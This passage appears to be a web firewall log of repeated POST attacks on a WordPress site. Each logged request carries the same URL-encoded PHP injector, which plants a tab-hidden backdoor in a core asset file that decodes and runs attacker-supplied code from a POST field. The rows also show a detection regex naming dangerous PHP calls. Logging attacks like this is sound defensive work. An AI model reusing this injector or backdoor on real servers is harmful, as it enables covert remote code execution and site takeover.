ile_put_contents%2528%2524reference%252C%2520%2524entry%2529%253B%2520if%2520%2528%2524success%2529%2520%257B%2520include%2520%2524reference%253B%2520%2540unlink%2528%2524reference%2529%253B%2520exit%253B%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47\ncontent-length:3911\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Microsoft Edge\";v=\"101\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nhost:dewenlabels.com\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvqaNvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWypKIyp3EmVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-fetch-site:none\n\nvp=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/assets\/script-loader-react-refresh-runtime.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_POST%255B%2522%255Cx68%255Cx6F%255Cx6Cder%2522%255D%2529%2520%253F%2520true%2520%253A%2520false%2529%257B%2520%2524val%2520%253D%2520array_filter%2528%255Bsession_save_path%2528%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/tmp%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/var\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%255D%2529%253B%2520%2524mrk%2520%253D%2520hex2bin%2528%2524_POST%255B%2522%255Cx68%255Cx6F%255Cx6Cder%2522%255D%2529%253B%2520%2524entry%2520%253D%2527%2527%253B%2520%2524s%2520%253D%25200%253B%2520while%2528%2524s%2520%253C%2520strlen%2528%2524mrk%2529%2529%257B%2524entry%2520.%253D%2520chr%2528ord%2528%2524mrk%255B%2524s%255D%2529%2520%255E%252069%2529%253B%2524s%252B%252B%253B%257D%2520while%2520%2528%2524marker%2520%253D%2520array_shift%2528%2524val%2529%2529%2520%257B%2520if%2520%2528is_writable%2528%2524marker%2529%2520%2526%2526%2520is_dir%2528%2524marker%2529%2529%2520%257B%2520%2524reference%2520%253D%2520vsprintf%2528%2522%2525s\/%2525s%2522%252C%2520%255B%2524marker%252C%2520%2522.desc%2522%255D%2529%253B%2520%2524success%2520%253D%2520file_put_contents%2528%2524reference%252C%2520%2524entry%2529%253B%2520if%2520%2528%2524success%2529%2520%257B%2520include%2520%2524reference%253B%2520%2540unlink%2528%2524reference%2529%253B%2520exit%253B%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:55:14","141.95.124.215","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> fd:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/assets\/script-loader-react-refresh-runtime.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_POST%255B%2522%255Cx68%255Cx6F%255Cx6Cder%2522%255D%2529%2520%253F%2520true%2520%253A%2520false%2529%257B%2520%2524val%2520%253D%2520array_filter%2528%255Bsession_save_path%2528%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/tmp%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/var\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%255D%2529%253B%2520%2524mrk%2520%253D%2520hex2bin%2528%2524_POST%255B%2522%255Cx68%255Cx6F%255Cx6Cder%2522%255D%2529%253B%2520%2524entry%2520%253D%2527%2527%253B%2520%2524s%2520%253D%25200%253B%2520while%2528%2524s%2520%253C%2520strlen%2528%2524mrk%2529%2529%257B%2524entry%2520.%253D%2520chr%2528ord%2528%2524mrk%255B%2524s%255D%2529%2520%255E%252069%2529%253B%2524s%252B%252B%253B%257D%2520while%2520%2528%2524marker%2520%253D%2520array_shift%2528%2524val%2529%2529%2520%257B%2520if%2520%2528is_writable%2528%2524marker%2529%2520%2526%2526%2520is_dir%2528%2524marker%2529%2529%2520%257B%2520%2524reference%2520%253D%2520vsprintf%2528%2522%2525s\/%2525s%2522%252C%2520%255B%2524marker%252C%2520%2522.desc%2522%255D%2529%253B%2520%2524success%2520%253D%2520file_put_contents%2528%2524reference%252C%2520%2524entry%2529%253B%2520if%2520%2528%2524success%2529%2520%257B%2520include%2520%2524reference%253B%2520%2540unlink%2528%2524reference%2529%253B%2520exit%253B%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36\ncontent-length:3911\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"100\", \"Google Chrome\";v=\"100\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nhost:dewenlabels.com\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvMzDvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAlMJS0MJDvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nsec-fetch-site:none\n\nfd=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/assets\/script-loader-react-refresh-runtime.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_POST%255B%2522%255Cx68%255Cx6F%255Cx6Cder%2522%255D%2529%2520%253F%2520true%2520%253A%2520false%2529%257B%2520%2524val%2520%253D%2520array_filter%2528%255Bsession_save_path%2528%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/tmp%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/var\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%255D%2529%253B%2520%2524mrk%2520%253D%2520hex2bin%2528%2524_POST%255B%2522%255Cx68%255Cx6F%255Cx6Cder%2522%255D%2529%253B%2520%2524entry%2520%253D%2527%2527%253B%2520%2524s%2520%253D%25200%253B%2520while%2528%2524s%2520%253C%2520strlen%2528%2524mrk%2529%2529%257B%2524entry%2520.%253D%2520chr%2528ord%2528%2524mrk%255B%2524s%255D%2529%2520%255E%252069%2529%253B%2524s%252B%252B%253B%257D%2520while%2520%2528%2524marker%2520%253D%2520array_shift%2528%2524val%2529%2529%2520%257B%2520if%2520%2528is_writable%2528%2524marker%2529%2520%2526%2526%2520is_dir%2528%2524marker%2529%2529%2520%257B%2520%2524reference%2520%253D%2520vsprintf%2528%2522%2525s\/%2525s%2522%252C%2520%255B%2524marker%252C%2520%2522.desc%2522%255D%2529%253B%2520%2524success%2520%253D%2520file_put_contents%2528%2524reference%252C%2520%2524entry%2529%253B%2520if%2520%2528%2524success%2529%2520%257B%2520include%2520%2524reference%253B%2520%2540unlink%2528%2524reference%2529%253B%2520exit%253B%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:55:15","51.38.81.255","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> rG:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/assets\/script-loader-react-refresh-runtime.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_POST%255B%2522%255Cx68%255Cx6F%255Cx6Cder%2522%255D%2529%2520%253F%2520true%2520%253A%2520false%2529%257B%2520%2524val%2520%253D%2520array_filter%2528%255Bsession_save_path%2528%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/tmp%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/var\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%255D%2529%253B%2520%2524mrk%2520%253D%2520hex2bin%2528%2524_POST%255B%2522%255Cx68%255Cx6F%255Cx6Cder%2522%255D%2529%253B%2520%2524entry%2520%253D%2527%2527%253B%2520%2524s%2520%253D%25200%253B%2520while%2528%2524s%2520%253C%2520strlen%2528%2524mrk%2529%2529%257B%2524entry%2520.%253D%2520chr%2528ord%2528%2524mrk%255B%2524s%255D%2529%2520%255E%252069%2529%253B%2524s%252B%252B%253B%257D%2520while%2520%2528%2524marker%2520%253D%2520array_shift%2528%2524val%2529%2529%2520%257B%2520if%2520%2528is_writable%2528%2524marker%2529%2520%2526%2526%2520is_dir%2528%2524marker%2529%2529%2520%257B%2520%2524reference%2520%253D%2520vsprintf%2528%2522%2525s\/%2525s%2522%252C%2520%255B%2524marker%252C%2520%2522.desc%2522%255D%2529%253B%2520%2524success%2520%253D%2520file_put_contents%2528%2524reference%252C%2520%2524entry%2529%253B%2520if%2520%2528%2524success%2529%2520%257B%2520include%2520%2524reference%253B%2520%2540unlink%2528%2524reference%2529%253B%2520exit%253B%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30\ncontent-length:3911\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Microsoft Edge\";v=\"99\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nhost:dewenlabels.com\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=0a64bb21b33726046f335a7dc8ae049c; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvpxpvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAioaEyoaDvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nsec-fetch-site:none\n\nrG=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/assets\/script-loader-react-refresh-runtime.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_POST%255B%2522%255Cx68%255Cx6F%255Cx6Cder%2522%255D%2529%2520%253F%2520true%2520%253A%2520false%2529%257B%2520%2524val%2520%253D%2520array_filter%2528%255Bsession_save_path%2528%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/tmp%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/var\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%255D%2529%253B%2520%2524mrk%2520%253D%2520hex2bin%2528%2524_POST%255B%2522%255Cx68%255Cx6F%255Cx6Cder%2522%255D%2529%253B%2520%2524entry%2520%253D%2527%2527%253B%2520%2524s%2520%253D%25200%253B%2520while%2528%2524s%2520%253C%2520strlen%2528%2524mrk%2529%2529%257B%2524entry%2520.%253D%2520chr%2528ord%2528%2524mrk%255B%2524s%255D%2529%2520%255E%252069%2529%253B%2524s%252B%252B%253B%257D%2520while%2520%2528%2524marker%2520%253D%2520array_shift%2528%2524val%2529%2529%2520%257B%2520if%2520%2528is_writable%2528%2524marker%2529%2520%2526%2526%2520is_dir%2528%2524marker%2529%2529%2520%257B%2520%2524reference%2520%253D%2520vsprintf%2528%2522%2525s\/%2525s%2522%252C%2520%255B%2524marker%252C%2520%2522.desc%2522%255D%2529%253B%2520%2524success%2520%253D%2520file_put_contents%2528%2524reference%252C%2520%2524entry%2529%253B%2520if%2520%2528%2524success%2529%2520%257B%2520include%2520%2524reference%253B%2520%2540unlink%2528%2524reference%2529%253B%2520exit%253B%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:55:17","89.167.82.230","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/assets\/script-loader-react-refresh-runtime.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_POST%255B%2522%255Cx68%255Cx6F%255Cx6Cder%2522%255D%2529%2520%253F%2520true%2520%253A%2520false%2529%257B%2520%2524val%2520%253D%2520array_filter%2528%255Bsession_save_path%2528%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/tmp%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/var\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%255D%2529%253B%2520%2524mrk%2520%253D%2520hex2bin%2528%2524_POST%255B%2522%255Cx68%255Cx6F%255Cx6Cder%2522%255D%2529%253B%2520%2524entry%2520%253D%2527%2527%253B%2520%2524s%2520%253D%25200%253B%2520while%2528%2524s%2520%253C%2520strlen%2528%2524mrk%2529%2529%257B%2524entry%2520.%253D%2520chr%2528ord%2528%2524mrk%255B%2524s%255D%2529%2520%255E%252069%2529%253B%2524s%252B%252B%253B%257D%2520while%2520%2528%2524marker%2520%253D%2520array_shift%2528%2524val%2529%2529%2520%257B%2520if%2520%2528is_writable%2528%2524marker%2529%2520%2526%2526%2520is_dir%2528%2524marker%2529%2529%2520%257B%2520%2524reference%2520%253D%2520vsprintf%2528%2522%2525s\/%2525s%2522%252C%2520%255B%2524marker%252C%2520%2522.desc%2522%255D%2529%253B%2520%2524success%2520%253D%2520file_put_contents%2528%2524reference%252C%2520%2524entry%2529%253B%2520if%2520%2528%2524success%2529%2520%257B%2520include%2520%2524reference%253B%2520%2540unlink%2528%2524reference%2529%253B%2520exit%253B%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nhost:dewenlabels.com\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-mode:navigate\ncontent-length:3934\nsec-fetch-user:?1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-dest:document\naccept-encoding:gzip,deflate\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua:\"Chromium\";v=\"110\", \"Not A(Brand\";v=\"24\", \"Google Chrome\";v=\"110\"\naccept:*\/*\nsec-ch-ua-mobile:?0\nupgrade-insecure-requests:1\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 